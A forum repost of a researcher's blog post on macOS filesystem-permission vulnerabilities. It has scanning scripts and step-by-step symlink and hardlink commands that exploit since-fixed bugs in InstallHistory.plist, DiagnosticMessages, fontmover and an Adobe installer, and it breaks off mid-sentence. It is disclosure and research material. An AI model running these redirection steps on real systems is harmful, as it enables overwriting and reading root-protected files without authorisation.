Nytro Posted March 22, 2020 Report Posted March 22, 2020 Exploiting directory permissions on macOS March 18, 2020 45 minutes read BLOG macos • cve • lpe • vulnerability • conference This research started around summer time in 2019, when everything settled down after my talk in 2019, where I detailed how did I gained root privileges via a benign App Store application, that I developed. That exploit used a symlink to achieve this, so I though I will make a more general approach and see if this type of vulnerability exists in other places as well on macOS systems. As it turns out it does exists, and not just on macOS directly but also on other apps, it appears to be a very fruitful of issue, without too much effort I found 5 exploitable bugs on macOS, 3 in Adobe installers, and also a bypass for OverSight, which is a free security tool. In the following post I will first go over the permission model of the macOS filesystem, with focus on the POSIX part, discuss some of the non trivial cases it can produce, and also give a brief overview how it is extended. I won’t cover every single detail of the permission model, as it would be a topic in itself, but rather what I found interesting from the exploitation perspective. Then I will cover how to find these bugs, and finally I will go through in detail all of the bugs I found. Some of these are very interesting as we will see, as exploitation of them involves “writing” to files owned by root, while we are not root, which is not trivial, and can be very tricky. The filesystem permission model The POSIX base case Every file and directory on the system will have a permission related to the file’s owner, the file’s group and everyone. All of these three can have three different permissions, which are read, write, execute. In case of files these are pretty trivial, it means that a given user/group/everyone can read/write/execute the file. In case of directories it’s a bit tricky: * read - you can enumerate the directory entries * write - you can delete/write files to the directory * execute - you are allowed to traverse the directory - if you don’t have this right, you can’t access any files inside it, or in any subdirectories. Interesting combinations These rules on directories create really interesting scenarios. Let’s say you have read access to a directory but nothing else. Although it allows you to enumerate files, since you don’t have execute rights, you still can’t see and access the files inside, this is regardless of the file’s permissions. If you have execute but not read access to a directory it means that you can’t list the files, but if you know the name of the file, you can access it, assuming you have rights to it. You can try the following experiment: $ mkdir restricted $ echo aaa > restricted/aaa $ cat restricted/aaa aaa $ chmod 777 restricted/aaa $ cat restricted/aaa aaa $ chmod 666 restricted $ cat restricted/aaa cat: restricted/aaa: Permission denied $ ls -l restricted/ $ ls -l | grep restricted drw-rw-rw- 3 csaby staff 96 Sep 4 14:17 restricted $ ls -l restricted/aaa ls: restricted/aaa: Permission denied $ ls -l restricted/ $ chmod 755 restricted $ ls -l restricted/ total 8 -rwxrwxrwx 1 csaby staff 4 Sep 4 14:17 aaa It means that if you can’t access a file just because of directory permissions, but can find a way to leak those files to somewhere else, you can read the contents of those files. If you have rwx permissions on a directory you can create/modify/delete files, regardless of the owner of the files. This means that if you have such access because of you id/group membership or simply because it’s granted to everyone, you can delete files owned by root. Flag modifiers There are many flags that a file can have, but for our case the only interesting one is the uchg, uchange, uimmutable flag. It means that it can’t be changed, regardless who tries to do it. For example, a root can’t delete a file if this flag is set, of course a root can remove the flag and then delete it. It also involves that if a file has the uchg flag set and it’s owned by root, no one can change it, even if you have write access to the inclusive directory. The flag has to be removed first, which can be only done by root in this case. There are is another flag, called restricted, which means that the particular file or directory is protected by SIP (System Integrity Protection), and thus you can’t modify those even if you are root. Apple uses special internal entitlements that allows some particular processes to write to SIP protected locations. To list the flags associated with a file, run: ls -lO. To change flags (except restricted) use the chflags command. For example you can see a bunch of these flags in the root directory: csaby@mac % ls -lO / total 16 drwxrwxr-x+ 83 root admin sunlnk 2656 Feb 21 07:44 Applications drwxr-xr-x 70 root wheel sunlnk 2240 Feb 20 21:44 Library lrwxr-xr-x 1 root wheel hidden 28 Feb 21 07:44 Network -> /System/Volumes/Data/Network drwxr-xr-x@ 8 root wheel restricted 256 Sep 29 22:23 System drwxr-xr-x 6 root admin sunlnk 192 Sep 29 22:22 Users drwxr-xr-x 5 root wheel hidden 160 Feb 22 13:59 Volumes drwxr-xr-x@ 38 root wheel restricted,hidden 1216 Jan 28 23:32 bin drwxr-xr-x 2 root wheel hidden 64 Aug 25 00:24 cores dr-xr-xr-x 3 root wheel hidden 7932 Feb 21 07:43 dev lrwxr-xr-x@ 1 root admin restricted,hidden 11 Oct 11 07:37 etc -> private/etc lrwxr-xr-x 1 root wheel hidden 25 Feb 21 07:44 home -> /System/Volumes/Data/home drwxr-xr-x 3 root wheel hidden 96 Oct 11 20:38 opt drwxr-xr-x 6 root wheel sunlnk,hidden 192 Jan 28 23:33 private drwxr-xr-x@ 63 root wheel restricted,hidden 2016 Jan 28 23:32 sbin lrwxr-xr-x@ 1 root admin restricted,hidden 11 Oct 11 07:42 tmp -> private/tmp drwxr-xr-x@ 11 root wheel restricted,hidden 352 Oct 11 07:42 usr lrwxr-xr-x@ 1 root admin restricted,hidden 11 Oct 11 07:42 var -> private/var Sticky bit From exploitation perspective this is also a very important bit, especially on directories as it further limits our capabilities to mess with files. When a directory’s sticky bit is set, the filesystem treats the files in such directories in a special way so only the file’s owner, the directory’s owner, or root user can rename or delete the file. Without the sticky bit set, any user with write and execute permissions for the directory can rename or delete contained files, regardless of the file’s owner. Typically this is set on the /tmp directory to prevent ordinary users from deleting or moving other users’ files. Source: Sticky bit - Wikipedia ACLs Although I didn’t find this being used extensively by default it can still affect exploitation, so it worth to mention it. The file system supports more granular access control than the POSIX model, and that is using with Access Control Lists. These lists contains Access Control Entries, which can define more specific access to a given user or group. The chmod’s manpage will detail these permissions: The following permissions are applicable to directories: list List entries. search Look up files by name. add_file Add a file. add_subdirectory Add a subdirectory. delete_child Delete a contained object. See the file delete permission above. The following permissions are applicable to non-directory filesystem objects: read Open for reading. write Open for writing. append Open for writing, but in a fashion that only allows writes into areas of the file not previously written. execute Execute the file as a script or program. Sandbox The Sandbox is important as it can further restrict access to specific locations. SIP is also controlled by the Sandbox, but beyond that applications can have different sandbox profiles, which will define which resources can an application access in the system, including files. So a process might run as root, but because of the applied sandbox profile it might not able to access specific locations. These profiles can be found in /usr/share/sandbox/ and /System/Library/Sandbox/Profiles/. For example the mds process runs as root, however it’s limited to write to these locations: (...omitted...) (allow file-write* (literal "/dev/console") (regex #"^/dev/nsmb") (literal "/private/var/db/mds/system/mds.lock") (literal "/private/var/run/mds.pid") (literal "/private/var/run/utmpx") (subpath "/private/var/folders/zz/zyxvpxvq6csfxvn_n0000000000000") (regex #"^/private/var/run/mds($|/)") (regex #"/Saved Spotlight Indexes($|/)") (regex #"/Backups.backupdb/\.spotlight_repair($|/)")) (allow file-write* (regex #"^/private/var/db/Spotlight-V100($|/)") (regex #"^/private/var/db/Spotlight($|/)") (regex #"^/Library/Caches/com\.apple\.Spotlight($|/)") (regex #"/\.Spotlight-V100($|/)") (mount-relative-regex #"^/\.Spotlight-V100($|/)") (mount-relative-regex #"^/private/var/db/Spotlight($|/)") (mount-relative-regex #"^/private/var/db/Spotlight-V100($|/)")) (...omitted...) (allow file* (regex #"^/Library/Application Support/Apple/Spotlight($|/)") (literal "/Library/Preferences/com.apple.SpotlightServer.plist") (literal "/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/Metadata.framework/Versions/A/Resources/com.apple.SpotlightServer.plist")) (...omitted...) It’s beyond the scope of this post to detail how to interpret the SBPL language, which is used for defining these profiles, however if you are interested, I recommend the following PDF: https://reverse.put.as/wp-content/uploads/2011/09/Apple-Sandbox-Guide-v1.0.pdf Finding bugs Now I will detail how to find these bugs in the file system, and it will focus on two different ways doing this: 1. Doing it trough static permission verification 2. Doing it through dynamic analysis The static method I mainly used this case, as it’s very simple to do, and can be easily done anytime. I differentiated 4 cases while searching, which I thought might be interesting, however really only two of those were promising, and I didn’t dig deep into the other cases. 1. File owner is root, but the directory owner is different 2. File owner is not root, but directory owner is root 3. File owner is root, and one of the user’s group has write access to the directory 4. File owner is not root, but the group is wheel, and the parent folder also not root owned I made a simple python script to find these relationship, it could likely be improved, but it does the job. import os, stat import socket project_name = 'catalina_10.15.3' to_check = [1,2,3,4] admin_groups = [20, 80, 501, 12, 61, 79, 81, 98, 701, 702, 703, 33, 100, 204, 250, 395, 398, 399] if 1 in to_check: issues1 = open(project_name + '_' + socket.gethostname() + '_issues1.txt','w') if 2 in to_check: issues2 = open(project_name + '_' + socket.gethostname() + '_issues2.txt','w') if 3 in to_check: issues3 = open(project_name + '_' + socket.gethostname() + '_issues3.txt','w') if 4 in to_check: issues4 = open(project_name + '_' + socket.gethostname() + '_issues4.txt','w') for root, dirs, files in os.walk("/", topdown = True): for f in files: full_path = os.path.join(root, f) directory = os.path.dirname(full_path) try: if 1 in to_check: if (os.stat(full_path).st_uid == 0) and os.stat(directory).st_uid != 0: #file owner is root directory is no print("[+] Potential issue found, file: %s, directory owner is not root, it's: %s" % (full_path, os.stat(os.path.dirname(full_path)).st_uid)) issues1.write("[+] Potential issue found, file: %s, directory owner is not root, it's: %s\n" % (full_path, os.stat(os.path.dirname(full_path)).st_uid)) if 2 in to_check: if (os.stat(full_path).st_uid != 0) and os.stat(directory).st_uid == 0: #file owner is not root directory is root print("[+] Potential issue found, file: %s, directory owner is root, file isn't: %s" % (full_path, os.stat(full_path).st_uid)) issues2.write("[+] Potential issue found, file: %s, directory owner is root, file isn't: %s\n" % (full_path, os.stat(full_path).st_uid)) if 3 in to_check: if (os.stat(full_path).st_uid == 0) and (os.stat(directory).st_gid in admin_groups) and (os.stat(directory).st_mode & stat.S_IWGRP): #file owner is root directory group is staff or admin and group has write access print("[+] Potential issue found, file: %s, group has write access to directory, it's: %s" % (full_path, os.stat(directory).st_gid)) issues3.write("[+] Potential issue found, file: %s, group has write access to directory, it's: %s\n" % (full_path, os.stat(directory).st_gid)) if 4 in to_check: if (os.stat(full_path).st_uid != 0) and (os.stat(full_path).st_gid == 0) and (os.stat(directory).st_uid != 0): #file group is wheel, but not root file, directory is not root print("[+] Potential issue found, file: %s, directory owner is not root, it's: %s" % (full_path, os.stat(os.path.dirname(full_path)).st_uid)) issues4.write("[+] Potential issue found, file: %s, directory owner is not root, it's: %s\n" % (full_path, os.stat(os.path.dirname(full_path)).st_uid)) except: continue if 1 in to_check: issues1.close() if 2 in to_check: issues2.close() if 3 in to_check: issues3.close() if 4 in to_check: issues4.close() I think that #1 and #3 is sort of trivial to exploit, as that typically involves deleting the file, creating a symlink or hardline, and wait for the process to write to that file. This is what I will deal mostly below. The dynamic method This effort is basically about monitoring for #1 and #3 discussed above in a dynamic way, which may reveal new bugs, as you could have the following case: A root process is writing to a directory where you have write access, but after that changing the file owner to the user. This issue can’t be found with static search, as the file ownership has been changed. You will want to monitor for files that are written as root to a location what you can control. A good tool for this is Patrick Wardle’s FileMonitor, which uses the new security framework to monitor for file events. You can also try fs_usage, but I found this far better. You will get a huge TXT output, which you can process with a script and some command line fu. BUGs Ok, so far the theory, but I know everyone wants to see the actual bugs and exploits, so I will start discussing these now. The general idea behind these type of bugs is to redirect the file operation to a place we want, this can be done as we can typically delete the file, place a symlink or hardline, pointing somewhere else, and then we just need to wait and see. There are a couple of problems that we need to solve/face as these greatly limits our exploitation capabilities. 1. The process might run as root, however because of sandboxing it might not be able to write to any interesting location 2. The process might not follow symlinks / hardlinks, but instead it will overwrite our link, and create a new file 3. If we can successfully redirect the file operation, the file will still be owned by root, and we can’t modify it after. We need to find a way to affect the file contents for our benefits. #1 and #2 will effectively mean that we don’t really have a bug, we can’t exploit the permission issue. With #3 the base case is that we have an arbitrary file overwrite, however if we find a way to affect the process what to write into that file, we can potentially make it a full blown privilege escalation exploit. We can also make it useful if the file we can delete is controlling access to something, in that case instead of a link, we could create a new file, with a content we want, we will see a case for this as well. In the first part I will cover bugs where I could only make it to an arbitrary file overwrite and then move to the more interesting scenarios. If you want to see more macOS installer bugs, I highly recommend Patrick Wardle’s talk on the subject: Death By 1000 Installers; on MacOS, It’s All Broken! - YouTube DefCon 2017 Death by 1000 Installers; it’s All Broken! - Speaker Deck InstallHistory.plist file - Arbitrary file overwrite vulnerability (CVE-2020-3830) Whenever someone installs a file on macOS, the system will log it to a file called InstallHistory.plist, which is located at /Library/Receipts. % ls -l /Library/Receipts/ total 40 -rw-r—r— 1 root admin 18500 Nov 1 14:07 InstallHistory.plist drwxr-xr-x 2 _installer admin 64 Aug 25 03:59 db The directory permissions for that looks like this: csaby@mac Receipts % ls -le@OF /Library drwxrwxr-x 4 root admin - 128 Nov 1 15:25 Receipts/ This means that a standard admin user has write access to this folder. As I mentioned earlier, it also means that an admin user can delete any file in that folder regardless of its owners. We can also move the file: % mv InstallHistory.plist InstallHistory_old.plist After that we can create a symlink pointing anywhere we want. For example, I will point it to /Library/i.txt, where only root has write access. csaby@mac Receipts % ln -s ../i.txt InstallHistory.plist csaby@mac Receipts % ls -l total 40 lrwxr-xr-x 1 csaby admin 8 Nov 1 14:50 InstallHistory.plist -> ../i.txt -rw-r—r— 1 root admin 18500 Nov 1 14:07 InstallHistory_old.plist drwxr-xr-x 2 _installer admin 64 Aug 25 03:59 db Now if we install any app, for example from the app store, the app will be logged, and a file will be created at a location we point to, if it’s an existing file, it will be overwritten. csaby@mac Receipts % ls -l /Library/i.txt -rw-r—r— 1 root wheel 523 Nov 1 14:50 /Library/i.txt % cat /Library/i.txt <?xml version=“1.0” encoding=“UTF-8”?> <!DOCTYPE plist PUBLIC “-//Apple//DTD PLIST 1.0//EN” “http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version=“1.0”> <array> <dict> <key>date</key> <date>2019-11-01T13:50:57Z</date> <key>displayName</key> <string>AdBlock</string> <key>displayVersion</key> <string>1.21.0</string> <key>packageIdentifiers</key> <array> <string>com.betafish.adblock-mac</string> </array> <key>processName</key> <string>appstoreagent</string> </dict> </array> </plist> Unfortunately there is nothing interesting we can do with this PLIST file, we can likely control the properties of the actual application, however it doesn’t give us much. This affected PackageKit and it was fixed in Catalina 10.15.3 About the security content of macOS Catalina 10.15.3, Security Update 2020-001 Mojave, Security Update 2020-001 High Sierra. Adobe Reader macOS installer - arbitrary file overwrite vulnerability (CVE-2020-3763) This is one of the installer bugs I found, and one of the more boring ones, as it was also only a simple overwrite vulnerability. At the end of installing Adobe Acrobat Reader for macOS a file is placed in the /tmp/ directory. mac:tmp csaby$ ls -l com.adobe.reader.pdfviewer.tmp.plist -rw------- 1 root wheel 133 Nov 11 19:20 com.adobe.reader.pdfviewer.tmp.plist Prior the installation we can create a symlink pointing somewhere in the file system. mac:tmp csaby$ ln -s /Library/LaunchDaemons/a.plist com.adobe.reader.pdfviewer.tmp.plist mac:tmp csaby$ ls -l total 248 lrwxr-xr-x 1 csaby wheel 30 Nov 11 19:22 com.adobe.reader.pdfviewer.tmp.plist -> /Library/LaunchDaemons/a.plist Once we run the installer the symlink will be followed and a file will be written to a location we control. mac:tmp csaby$ sudo cat /Library/LaunchDaemons/a.plist bplist00?_ReaderInstallPath_@file://localhost/Applications/Adobe%20Acrobat%20Reader%20DC.app/ b mac:tmp csaby$ The file content is fixed, and we can’t control it, but it would still allow us to mess with other files. This is a DOS type scenario. This was fixed in February 11, 2020: https://helpx.adobe.com/security/products/acrobat/apsb20-05.html Grant group write access to plist files via DiagnosticMessagesHistory.plist (CVE-2020-3835) This is one of the more interesting bugs. Someone can add rw-rw-r permissions to any plist file by abusing the file DiagnosticMessagesHistory.plist in the /Library/Application Support/CrashReporter/ folder. The directory /Library/Application Support/CrashReporter/ allows write access to users in the admin group. ls -l “/Library/Application Support/“ | grep CrashRe drwxrwxr-x 7 root admin 224 Nov 1 21:49 CrashReporter Beyond that, the file DiagnosticMessagesHistory.plist has also write access set for admin users. ls -l "/Library/Application Support/CrashReporter/" total 768 -rw-rw-r-- 1 root admin 258 Oct 12 20:28 DiagnosticMessagesHistory.plist -rw-r--r-- 1 root admin 94047 Oct 12 15:32 SubmitDiagInfo.config -rw-r--r--@ 1 root admin 291032 Oct 12 15:32 SubmitDiagInfo.domains The first allows us to delete / move this file: mv DiagnosticMessagesHistory.plist DiagnosticMessagesHistory.plist.old` Beyond that it also allows us to create files in that folder, so we can create a symlink / hardlink pointing to another file, once we moved / deleted the original: ln /Library/Printers/EPSON/Fax/Utility/Help/Epson_IJFaxUTY.help/Contents/Info.plist DiagnosticMessagesHistory.plist What happens is that when the system tries to write again to this file, it will check the RWX permissions on the file and if it’s not like the original -rw-rw-r--, it will restore it. It won’t write to the file we point to, just edit permissions. This means that we can cause the system to grant write access to any file on the system if we are in the admin group. The file’s original permissions: ls -l /Library/Printers/EPSON/Fax/Utility/Help/Epson_IJFaxUTY.help/Contents/Info.plist -rw-r--r-- 2 root admin 987 Aug 19 2015 /Library/Printers/EPSON/Fax/Utility/Help/Epson_IJFaxUTY.help/Contents/Info.plist After the system touches the file: ls -l DiagnosticMessagesHistory.plist -rw-rw-r-- 2 root admin 987 Aug 19 2015 DiagnosticMessagesHistory.plist ls -l /Library/Printers/EPSON/Fax/Utility/Help/Epson_IJFaxUTY.help/Contents/Info.plist -rw-rw-r-- 2 root admin 987 Aug 19 2015 /Library/Printers/EPSON/Fax/Utility/Help/Epson_IJFaxUTY.help/Contents/Info.plist We can trigger this by changing Analytics settings. The only limitation is that the target file has to be a plist file, otherwise the permissions remain unchanged. This can be useful for us if we grant write access to a file, where the group is one that we are also member of and the file is owned by root. We can find such files via the following command (and you can try many group IDs): sudo find / -name "*.plist" -group 80 -user root -perm -200 Or to find files with no read access for others: sudo find / -name "*.plist" -user root ! \( -perm -o=r -o -perm -o=w -o -perm -o=x \) Or file to which only root has access: sudo find / -name "*.plist" -user root -perm 600 An example from my machine: mac:CrashReporter csaby$ sudo find /Library/ -name "*.plist" -user root -perm 600 find: /Library//Application Support/com.apple.TCC: Operation not permitted /Library//Preferences/com.apple.apsd.plist /Library//Preferences/OpenDirectory/opendirectoryd.plist mac:CrashReporter csaby$ ls -le@OF /Library//Preferences/com.apple.apsd.plist -rw——— 1 root wheel - 44532 Nov 8 08:38 /Library//Preferences/com.apple.apsd.plist This was fixed in Catalina 10.15.3 About the security content of macOS Catalina 10.15.3, Security Update 2020-001 Mojave, Security Update 2020-001 High Sierra macOS fontmover - file disclosure vulnerability (CVE-2019-8837) This is a slightly unusual bug compared to the rest, yet it’s very interesting and it also comes down to controlling files, which is worked on by a process running as root. I came across this bug , when found that /Library/Fonts has group write permissions set, as we can see below: $ ls -l /Library/ | grep Fonts drwxrwxr-t 183 root admin 5856 Sep 4 13:41 Fonts As admin users are in the admin group, someone can drop here any file. This is the folder containing the system wide fonts, and I think this privilege unnecessary and I will come back to this why. #default group membership for admin users $ id uid=501(csaby) gid=20(staff) groups=20(staff),501(access_bpf),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),702(com.apple.sharepoint.group.2),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh) For the demonstrations I will use a font I downloaded from here: Great Fighter Font | dafont.com but any font will do it, the only requirement is to have a valid font. Once we download a font, and double click on it, the Font Book application open, and will display the font for us: Before we install the font we can check its default install location in preferences: By default it goes to the User, but we can select Computer as the default. In the case of the user it will go into ~/Library/Fonts in the case of Computer it will go to /Library/Fonts. The issue presents if Computer is selected as the default. Once we click Install Font we get another screen, which is the font validator: We select the font and click Install Ticked, after that we are prompted for authentication, which means that the application elevates us to root and then installs the font. If we check with fs_usage what happens, we can see that the font is copied with the fontmover binary into /Library/Fonts. $ sudo fs_usage | grep great_fighter.otf 19:53:24 stat_extended64 /Library/Fonts/great_fighter.otf 0.000030 fontmover 19:53:24 stat_extended64 /Users/csaby/Downloads/great_fighter/great_fighter.otf 0.000019 fontmover 19:53:24 open /Users/csaby/Downloads/great_fighter/great_fighter.otf 0.000032 fontmover 19:53:24 lstat64 /Library/Fonts/great_fighter.otf 0.000003 fontmover 19:53:24 open_dprotected /Library/Fonts/great_fighter.otf 0.000086 fontmover 19:53:24 WrData[AN] /Library/Fonts/great_fighter.otf 0.000167 W fontmover This is the process that will run as root. This is the point where I would like to reflect back to the beginning. The /Library/Fonts has group write permissions, which is not necessary if fontmover will always elevate to root. A possible privilege escalation scenario would be that we place a symlink or hardlink in /Library/Fonts and let fontmover follow that. Fortunately (or unfortunately from a bug hunting perspective) this doesn’t happen, as if the hardlink / symlink exists it will be removed first, and even if I try to recreate it (doing a race condition before / after the removal and before the copy) it doesn’t work, and the file will be moved there safely with its original permissions. The only case when fontmover fails to copy the file is if we place a lock ($ chflags uchg filename) on the file, in that case it won’t be overwritten / deleted, but also not useful from an exploitation perspective. Still I think this group write permission is not necessary. Beyond that fontmover is sandboxed. If we check the fontmoverinternal.sb sandbox profile, we can see the following: (allow file-write* (subpath "/System/Library/Fonts") (subpath "/System/Library/Fonts (Removed)") (subpath "/Library/Fonts") (subpath "/Library/Fonts (Removed)") ) This means that file writes will be limited to the Fonts directory, so even if symlinks would be followed, we are stuck in the Fonts directory.. *nix directory permissions The file disclosure vulnerability happens with regards of the source file. Between the steps Install Font and Install Ticked the file is not locked by the application, which means that someone can alter the file after the font validation happened. If we remove the original file, and place a symlink pointing somewhere fontmover will follow the symlink and copy that file into /Library/Fonts, with maintaining the original file’s permission. What do we gain with this? We can copy a file as root to a location where we have already write access to with maintaining the original file’s permissions. At first sight this doesn’t give as any more rights as if we don’t have read access to the original file, then we won’t gain it because it maintains its access rights, and if we have read access to it we could already read it. NO. There is a corner case in *nix based filesystem, where the last statement is not true, and what I mentioned in the very beginning. If there are files in a directory where only root has R+X access, those are not accessible to anyone else. In case there is a file which normally would be readable by anyone, we can use fontmover to move that file out, into /Library/Fonts and read its contents, which normally would be forbidden. This quick and dirty python script can find such files for us: import os, stat fs = open('files.txt','w') for root, dirs, files in os.walk("/", topdown = True): for f in files: full_path = os.path.join(root, f) directory = os.path.dirname(full_path) try: if ( ((os.stat(full_path).st_mode & stat.S_IRGRP or #group has read access os.stat(full_path).st_mode & stat.S_IROTH) #world readable and os.stat(full_path).st_uid == 0) #owner is root and ((not os.stat(directory).st_mode & stat.S_IXGRP) and #group doesn't have execute (not os.stat(directory).st_mode & stat.S_IXOTH)) #others doesn't have execute ): print("[+] file: %s" % full_path) fs.write("[+] file: %s\r\n" % full_path) except: continue fs.close() One such file is: -rw-r--r-- 1 root wheel 1043 Aug 30 16:10 /private/var/run/mds/uuid-tokenID.plist Exploitation From here the exploitation is simple: Wait for a user installing a file Before clicks “Install Ticked”, do this: a. Delete / rename original file b. Create a symlink to the file of your choice Note that the output was changed below: #no access to original file $ cat /private/var/run/mds/uuid-tokenID.plist cat: /private/var/run/mds/uuid-tokenID.plist: Permission denied #exploitation $ mv great_fighter.otf great_orig.otf $ ln -s /private/var/run/mds/uuid-tokenID.plist great_fighter.otf #click 'install ticked' here $ cat /Library/Fonts/great_fighter.otf <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX</key> <integer>1234567890</integer> <key>XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX</key> <integer>1234567890</integer> <key>XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX</key> <integer>1234567890</integer> <key>XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX</key> <integer>1234567890</integer> <key>XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX</key> <integer>1234567890</integer> <key>XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX</key> <integer>1234567890</integer> <key>XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX</key> <integer>1234567890</integer> <key>XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX</key> <integer>1234567890</integer> <key>XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX</key> <integer>1234567890</integer> <key>XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX</key> <integer>1234567890</integer> <key>nextTokenID</key> <integer>1234567890</integer> </dict> </plist> The fix There was an undocumented partial fix in Catalina 10.15.1. After the ‘fix’, it’s still possible to achieve the same but on another place. A user can modify the file prior the authentication takes place. There are some checks when the user clicks “Install Ticked”, however when the user gets the authentication prompt there is a time window again to alter the file, before the user authenticates. So the steps would be now: #no access to original file $ cat /private/var/run/mds/uuid-tokenID.plist cat: /private/var/run/mds/uuid-tokenID.plist: Permission denied #click ‘install ticked’ here #wait for the authentication prompt #exploitation $ mv great_fighter.otf great_orig.otf $ ln -s /private/var/run/mds/uuid-tokenID.plist great_fighter.otf #authenticate $ cat /Library/Fonts/great_fighter.otf (…) output omitted (…) It was finally fixed in Catalina 10.15.2. There is a case, when you switch from User to Computer profile, and you will get the authentication prompt, and you can still replace the file, however the new redirect won’t be followed, and the bogus file won’t be copied. The only thing you achieve is that no font will be installed, which is fine. macOS DiagnosticMessages arbitrary file overwrite vulnerability (CVE-2020-3855) While I couldn’t achieve full LPE in this case, and so it remained an arbitrary file overwrite, I got some partial successes with a trick, which I think is interesting. Finally some reverse engineering ahead! I noticed that /private/var/log/DiagnosticMessages is writeable for the admin group. $ ls -l /private/var/log/ | grep Diag drwxrwx--- 32 root admin 1024 Sep 2 20:31 DiagnosticMessages Additionally all files in that directory are owned by root: (...) -rw-r--r--@ 2 root wheel 420894 Aug 31 21:30 2019.08.31.asl (...) As usual I can delete this file, and create others, like a symlink in that folder. Exploitation - Overwriting files As discussed before exploiting such scenarios are typically very simple to the point where we overwrite a custom file, we create a symlink with the same name, and point it to somewhere where root has only access. In this case symlinks didn’t work for me, they weren’t properly followed. Luckily we have hard links as well, and that seemed to do the trick. As a POC I created a bogus file in Library and pointed a hardlink to it: $ sudo touch /Library/asl.asl $ rm 2019.09.02.asl #you need to be quick creating the hardlink, as a new file might be created due to incoming logs $ ln /Library/asl.asl 2019.09.02.asl After that we can see that they are essentially the same: $ ls -l 2019.09.02.asl -rw-r--r--@ 2 root wheel 1835 Sep 2 21:06 2019.09.02.asl $ ls -l /Library/asl.asl -rw-r--r--@ 2 root wheel 1835 Sep 2 21:06 /Library/asl.asl If we take a look at the file content, we can indeed see that the output is properly redirected. At this point we can overwrite any file on the filesystem as root, possibly causing a DOS scenario with overwriting a critical file. You might need to reboot in order for the hard link to take effect. Exploitation - Controlling content This is the more interesting part of my research, and I want to show how did I ended up injecting content into this log file - it wasn’t trivial. The ultimate problem with the above, is that we can redirect an output, but ultimately we don’t control the content of the file, it’s up to the application, so I can’t create a nice cronjob file or plist to drop into the LaunchDaemons and gain code execution as root. Although we can’t control the entire file, we can still have some influence on the content, which could be useful later. This is a log file, so if we could send some custom log messages that would be quite good as we could inject something useful for us. With that I started to dig into how can I create ASL (Apple System Log) logs directed into DiagnosticMessages. ASL is Apple’s own syslog format, but these days it’s being deprecated and less and less applications use it. To complicate things, there are other folders containing ASL logs, like /private/var/log/asl. This link contains the documentation for the ASL API: Mac OS X Manual Page For asl(3). The API doesn’t talk about the various log targets, or DiagnosticMessages at all. I’m not a developer and I looked for some ASL code samples, and there aren’t too many, and needles to say, none of those posts talk about the various log buckets. At this point I was quite clueless how to send anything there, even if I can use the API. Additionally if we check out these logs, this is what we see typically: com.apple.message.domain: com.apple.apsd.15918893 com.apple.message.__source__: SPI com.apple.message.signature: 1st Party com.apple.message.signature2: N/A com.apple.message.signature3: NO com.apple.message.summarize: YES SenderMachUUID: 399BDED0-DC36-38A3-9ADC-9F97302C3F08 It seemed that there are some pre-defined fields to be populated, that can take up some value, and that’s it. It looked quite hopeless to send here anything useful. But you always try harder The hope came from a few logs hidden in the chaos, which looked like this: CalDAV account refresh completed com.apple.message.domain: com.apple.sleepservices.icalData com.apple.message.signature: CalDAV account refresh statistics com.apple.message.result: noop com.apple.message.value: 0 com.apple.message.value2: 0 com.apple.message.value3: 0 com.apple.message.uuid: XXXXXXXXXX com.apple.message.uuid2: XXXXXXXXXX com.apple.message.wake_state: 0 SenderMachUUID: XXXXXXXXXX The nice thing about this entry was that there was a custom string at the very beginning. This one came from the CalendarAgent process. This led me to figure out how Calendar does this, and if I can reverse it, I could do my own. First I took the CalendarAgent binary that can be found at /System/Library/PrivateFrameworks/CalendarAgent.framework/Versions/A/CalendarAgent . I loaded this to Hopper, but couldn’t locate any string related to the message above. So I decided to just search for it with grep and that gave me the file I needed. grep -R "CalDAV account refresh" /System/Library/PrivateFrameworks/ Binary file /System/Library/PrivateFrameworks//CalendarPersistence.framework/Versions/Current/CalendarPersistence matches If we load the binary into Hopper, we can follow where that string is referenced: It’s stored in a variable, and luckily it’s only referenced in one place: Reading the related assembly is not that nice: But luckily Hopper can do some awesome pseudo-code generation for us, and this is what we get for the entire function: TXT format: /* @class CalDAVAccountRefreshQueueableOperation */ -(void)sendStatistics { r13 = self; var_30 = **___stack_chk_guard; rax = IOPMGetUUID(0x3e9, &var_A0, 0x64); if (rax != 0x0) { r14 = &stack[-216]; rbx = &stack[-216] - 0x70; rsp = rbx; if (IOPMGetUUID(0x3e8, rbx, 0x64) != 0x0) { var_C8 = r14; var_C0 = [[NSNumber numberWithInteger:[r13 numberOfInboxEntriesAffected]] retain]; rax = [r13 numberOfEventsAffected]; rax = [NSNumber numberWithInteger:rax]; rax = [rax retain]; r15 = rax; var_B0 = rax; var_B8 = [[NSNumber numberWithInteger:[r13 numberOfNotificationsAffected]] retain]; rax = [NSString stringWithUTF8String:rbx]; rax = [rax retain]; rbx = rax; var_A8 = rax; rax = [NSString stringWithUTF8String:&var_A0]; r14 = [rax retain]; rax = @(0x0); rax = [rax retain]; var_28 = r15; var_30 = var_C0; [CalMessageTracer log:@"CalDAV account refresh completed" domain:@"com.apple.sleepservices.icalData" signature:@"CalDAV account refresh statistics" result:0x0 value:var_30 value2:var_28 value3:var_B8 uid:rbx uid2:r14 wakeState:rax]; [rax release]; rdi = r14; r14 = var_C8; [rdi release]; [var_A8 release]; [var_B8 release]; [var_B0 release]; [var_C0 release]; } } if (**___stack_chk_guard != var_30) { __stack_chk_fail(); } return; } This is nice and easy to read, and we can see right away that the log is generated by calling the 